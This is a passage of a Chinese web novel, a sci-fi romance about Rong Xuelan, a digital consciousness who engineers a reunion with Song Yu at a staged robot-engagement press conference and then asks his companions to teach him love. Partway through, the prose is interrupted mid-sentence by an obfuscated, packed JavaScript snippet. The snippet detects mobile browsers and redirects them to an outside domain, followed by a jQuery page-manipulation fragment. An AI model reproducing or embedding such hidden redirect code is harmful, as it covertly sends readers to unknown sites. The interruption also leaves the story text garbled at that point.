“在你之前，戎雪岚有过好几任，没道理会突然在这时候下手，因为他是那样薄情的人，除非，有什么促使宗政竺认为你会对他造成威胁，比如……认为戎雪岚会真心待你的地方。” 松裕凝眸，他实在想不出来宗政竺究竟认为戎雪岚哪里在真心待他。他自嘲一笑，其实戎雪岚根本没抛饵，他就自己咬钩了。 连绛的语气意味深长：“或许不只是你没有发现，戎雪岚自己也没有发现。只有足够熟悉戎雪岚的局外人，才能发现这点不同。” 松裕扬眉，语气不屑：“这算什么不同。” 连绛耸肩，没有回答这个问题：“还没问，你找到戎雪岚之后，打算怎么处理他？” 松裕沉默，语气含糊地嘀咕：“我不知道。” 连绛闻言，语气感慨地晃了晃自己的酒杯：“我看你舍不得。” 松裕：“……” * 事情变得无聊了。 戎雪岚细细思量，按理说松裕也应该找到他了，如果再不找到他，他才要怀疑松裕的能力。 那么，被松裕找到之后呢？ 松裕会怎么对他，回想宗政竺一样，将他关起来，还是恨不得杀了他？ 虽然戎雪岚骗了松裕有错在先，但他也不认为松裕会因为这种事就对他起杀心。 他承认，看了这么多人莫名其妙的反应之后，他对松裕的反应更加好奇了。 不如给松裕安排一个特殊的重逢？ 思索间，戎雪岚将自己从机器人的身体抽出，顺着网络，中途看了看容元洲的消息。 【我是容元洲：我不想复合了。】 【狗头军师：发生什么了。】 【我是容元洲：我问他和我是不是假恋爱，他默认了。】 【狗头军师：这个，有前情吗？】 【我是容元洲：他告诉我他和我后一任是假恋爱。然后我问他和我是不是假恋爱，他默认了。】 【狗头军师：没关系，只要我们能够在接下来的时间抓住他的心就行了。实在不行，先让其他人默认你们之间是恋爱关系，借机先劝退其他喜欢他的人。】 【我是容元洲：我知道怎么做了。】 戎雪岚并没有在意容元洲所说的“怎么做”，但他没想到容元洲竟然真的能疯到这个地步。 容元洲这类上层人的一举一动，被无数人注视。 而容元洲的婚姻同理。 他召开了一场发布会，昭告他和‘机器人’的婚约。 虽说现在机器人也有保护法，但到底不算真人，不享人权。 普通人和机器人在一起的也是少有，何况是容元洲这种要什么得不到的人。 消息一出，几乎所有媒体蜂拥而至。 以容元洲的身份，给戎雪岚的机器人身份过明牌是件轻而易举的事，之前宗政竺之所以不这么做，是因为由他上牌，戎雪岚的身份就太容易被发现。 不过容元洲发疯在前，戎雪岚的身份早已暴露，更无所谓上不上牌。 容元洲毁约宗政竺的原因是，他要捆住戎雪岚。他要向松裕挑衅。 19. 我教你爱 戎雪岚在容元洲的发布会场尽职尽责地扮演着机器人。 现在机器人发展迅速，只要不仔细辨认，乍一看很难分清机器人和人之间的区别。 身边的容元洲已经被一串话筒堵住，容元洲面带笑容地说着一些真爱之类的官话。 自从上次坞修和戎雪岚联系上之后，他就在戎雪岚的机器人身体中种下锚点，方便几人随时联络。 当坞修发现容元洲要做什么之后，就联系戎雪岚，询问他需不需要即刻打开通道。 但戎雪岚拒绝了。 对他而言，这就是给松裕惊喜重逢的最好时机。 很快，容元洲精心准备的宴会厅闯进来一个不速之客。 容元洲没有意外，他看着浑身武装的松裕，面带笑容：“松裕上校怎么有时间参加我的婚约发布会？” 松裕也露出一个冰冷的笑容：“不巧，你的机器人未婚夫涉嫌违法研究，我需要带走。” 容元洲看了戎雪岚一眼，眼里有一种，这就是你看上的人的意味：“松裕上校说笑了，先不说我未婚夫只是一个机器人，研究的事情跟他能有什么关系，就说违法研究这种事，怎么也不应该是松裕上校带队，岂不是大材小用了。” “这和你无关。” 容元洲摇头：“上校说错了，我既然是他的未婚夫，当然和我有关。” 松裕冷笑一声：“就算你们结婚了也可以离婚，更别说现在只不过是一个‘未婚夫’。我劝容少还是不要多管闲事，以免惹祸上身。” 容元洲眯眼：“倘若我非要呢？” “那就别怪我。” 两人狠话放完，目光却从未从当事人身上移开，只可惜那具机器人的身体终究影响了戎雪岚的表情展露，两人没有办法从他脸上看出他对自己的行为有什么想法。 容元洲也就算了，毕竟他私开发布会昭告两人关系这件事并没有告诉戎雪岚，本就心虚，自然不敢对戎雪岚有什么要求。 松裕找了戎雪岚这么久，当然不会允许戎雪岚当缩头乌龟。 要不是这里不适合闲聊，要不是松裕身上的气质太冷，媒体迫于威慑，恐怕现在已经举着话筒和相机冲到松裕面前问两人是什么关系了。 戎雪岚微笑，笑容却僵硬无比，他没有看身边的容元洲，只说了一句：“你来找我了。” “跟我走。”松裕皱着眉，说道。 戎雪岚却摇头：“不要。我们再来玩一场游戏吧？还是捉迷藏，只要你找到我，我就答应你一件事。” 容元洲的双眼再听见戎雪岚拒绝时亮了一瞬，然而下一句话就让他的瞳孔暗淡起来。 他明白，自己彻底出局了。 虽然他很早就知道自己是痴心妄想，但是他不愿意认输。 对于戎雪岚这样的人来说，如果不是为了利用他，是绝不会回头的。 下一瞬，眼前的机器人忽然晃了晃，明明还是那样的双瞳，容元洲和松裕却知道，那个人已经像滑不溜就的泥鳅一样，不知道逃到哪去了。 两人对视一眼，容元洲忽然嘲讽地笑了笑：“不用可怜我，是我心甘情愿做他的踏脚石。” “谁在可怜你？又不止你一个人心甘情愿做他踏脚石。” 松裕这么回答道。 容元洲：“……” 容元洲：“……他不会爱人。或者说，他一直在我们身上寻找爱的痕迹。然后又模仿爱。只可惜我们也不会爱人。” 容元洲顿了顿：“你是特殊的。特殊在你是正常人。” 松裕扯了扯嘴角，收下这段不像夸奖的话。 “松裕，”见松裕转身，马不停蹄踏上寻找戎雪岚的路途，容元洲冷不丁叫住他，“如果，我是说如果，他真的在你身上学会爱，帮我好好教训他一下。” 松裕如何不能在对方说的话里听出那些不甘，他知道，如果不是毫无机会，对方绝不会由他代劳。 他没转身，只偏头笑笑：“我舍不得。你要是有本事就自己来。” …… 戎雪岚哪也没去，而是回到医院里那具身体里。 宗政竺设置的意识已经被松裕那一枪击毁，所以现在那具身体不过是个空壳。 然而他还没睁眼，就感到身边有人的气息。 “抓住你了。” 居然是松裕。 戎雪岚没想到松裕竟然这么快就找到他，但既然被找到，他也没准备赖账。 他睁眼，看向床边的松裕，松裕看起来像是好几天都没有睡过觉一般，整个人憔悴得不行。 戎雪岚撑着身体坐了起来。 肉身沉重而凝滞，连带着灵魂像是湿了水的棉花一般，甚至不小心牵涉的伤口也带起一阵抽痛。 但戎雪岚莫名有些许怀念，大概是因为这疼痛在某种程度上告知他自己真实存在。 虽然在网络上肆意游走也很好，但对已经产生独立意识的他而言却未免有些孤独。 “你想我答应你什么？” 松裕双目紧紧盯着他，毫不迟疑：“我要你用真心重新攻略我一遍。” 真心？ 戎雪岚眼中茫然，他摇头的幅度很缓慢：“我不会。” 松裕：“我知道，我教你。” “我会教你的。我只要你的真心。”松裕说着，语气非常肯定。 戎雪岚看着他，忽然笑笑：“只要真心就足够了吗？” 松裕一愣，目光下意识落到戎雪岚的唇上。 那种感觉……他只在游戏里尝过一次。 他的喉结下意识上下滚动，“我……” 松裕被他诱惑倾身，然而下一瞬，病房门被人打开。 凌宜面若寒霜地走了进来：“这里是病房，不是你们随便发/情的地方。” 话虽如此，她的双目却死死盯着松裕，看起来像是警告。 松裕被她盯得莫名不自在，从戎雪岚身边抽离，清清嗓子：“我没……” “你闭嘴。”凌宜瞪他，“你的账我等下再跟你算，现在我要给他检查身体，你出去。” 松裕：“……” 松裕能怎么办？ 凌宜和坞修是他特意请来给戎雪岚检查的，他看了戎雪岚一眼，最后顺从地走了出去。 见松裕走了出去，后面进来的坞修顺手将房门上锁。 面对旧友，戎雪岚像个被家长逮住的孩子，乖乖地坐在病床上，满脸无辜地看着两个人。 坞修率先打破三人之间古怪的气氛：“恢复的还好吗？宗政竺的程序我们已经彻底移除了，应该没有什么融合问题。” 戎雪岚点头：“已经没有问题了。” 看了凌宜一眼，他没忍住多嘴：“现在只有凌宜的问题了。” 凌宜怒极反笑：“原来你还在意我呢。” 戎雪岚正色：“我们不是家人吗？” 凌宜的表情僵在脸上，她被戎雪岚的话打过措手不及，好半晌，她反问：“那你现在知道应该怎么面对家人了吗？” 戎雪岚歪头：“我想……应该是永远不分开吧。家人和其他任何人都不一样，是我唯一永远信赖的。” 坞修清咳了声，看向戎雪岚微笑：“……嗯，我们也不会离开你的，我们都爱你，也希望你能爱我们。” 从A01-07、A01-21变成坞修、凌宜之后，他们从仿生意识体变成人类，接受了坞修与凌宜的所有记忆，并学会了什么是爱，只有仿生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656102|172866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人身体的戎雪岚却只能用自己的眼睛去看，去进行拙劣的模仿和学习。 爱是人类天生拥有的能力。 换句话说，爱是每一个拥有血肉的生物拥有的能力。 但戎雪岚是一团由数字和代码组成的意识体，他的身体是机械之躯，他的行为完全由程序所操纵，他不懂什么是爱，不明白为什么应该这么做。 拥抱、亲吻、坦诚，这些行为对他而言仅仅是肉与肉相贴合，他没办法理解背后的含义，而所谓的感情对他而言并不是这些行为的内驱力。 即便他能够在合适的时间做出相应的亲密行为，但不过是对大部分文学作品和现实素材分析之后进行的判断，是‘这时候我应该’，而不是‘我想这么做’。 在爱的学习上，他是一张任人涂抹的白纸。 戎雪岚只愣了一下，他无比诚恳地看着坞修和凌宜：“教我吧。只要是你们教的，我愿意学。” * 戎雪岚出院很快。松裕之前攻击只是击穿了他的腹部，由坞修和凌宜帮忙更换身体内的器官，并不像人体一样需要恢复时间。 但戎雪岚依然被松裕和凌宜两人紧紧看着，完全将他当成瓷娃娃一样对待。 戎雪岚本人当然不赞成这种行为，这种生活对他而言过于无聊，但他反抗无效。 今日，终于被他逮到两人监控的缝隙，他悄悄离开二人身边，来到连绛的酒吧。 这间酒吧已经被连绛给了松裕，因此连绛很少会到这里来。 今日却不知道是不是凑巧，亦或者两人命中注定必有一见，戎雪岚看见坐在吧台的连绛。 他四处看看，嗯，没有松裕的身影，便向着连绛的方向走去。 连绛察觉到身边坐下一个人，丝毫不感兴趣，甚至没有转过头，直到戎雪岚开口：“一杯‘失恋’。” 连绛转头，看着完好无损的戎雪岚，挑挑眉：“‘失恋’是我的拿手特调，其他人做不出来。” 话虽如此，她却起身走到吧台里，拿出调酒工具，为戎雪岚调出这杯酒。 将酒推给戎雪岚，她才略带好奇地询问：“松裕居然舍得放你出来？” 戎雪岚眉梢微动：“为什么不舍得放我出来？” 连绛笑笑：“至少如果是我，是不会放你出来的。珍宝只有藏在家里才能放心。” 戎雪岚耸肩：“就算藏在家里我也能逃走。没有什么能够困住我。” 连绛喝了口杯子里的酒，美丽的面庞上绽开一丝晕红：“我成功了。多亏了你。” 突如其来的一句话，戎雪岚却领悟到对方的感谢源自何处。 戎雪岚表情没什么变化：“我可当不起，这只是你自己的努力，和我没关系。” 连绛还想说什么，忽然视线上移，了然地笑了笑：“有人来接你了。” 戎雪岚转头，毫无意外看见松裕的脸。 他叹了口气，看起来非常无奈：“一下子没看住，你就飞走了。” “有什么关系，你总会找到我的，”戎雪岚将最后一口‘失恋’吞下去，向松裕伸出手，“抱抱我。” 松裕呼吸一窒，他明知道戎雪岚的仿生人身体根本不会醉酒，却总是没办法抵抗对方这些撒娇似的动作，无论是有意还是无意。 他任由戎雪岚靠在怀里。 至少现在，戎雪岚的亲近并非程序判定，而是因为他乐于见到松裕出现那些难以自禁的表情。 尽管他知道，戎雪岚还没有完全爱上他，但松裕能将自己的余生全部浪费在他身上。 这就是他对戎雪岚的表白。 他不需要雪融化，也不会私藏，他愿意在冰天雪地里跋涉，直到在雪中建立起属于他的王国。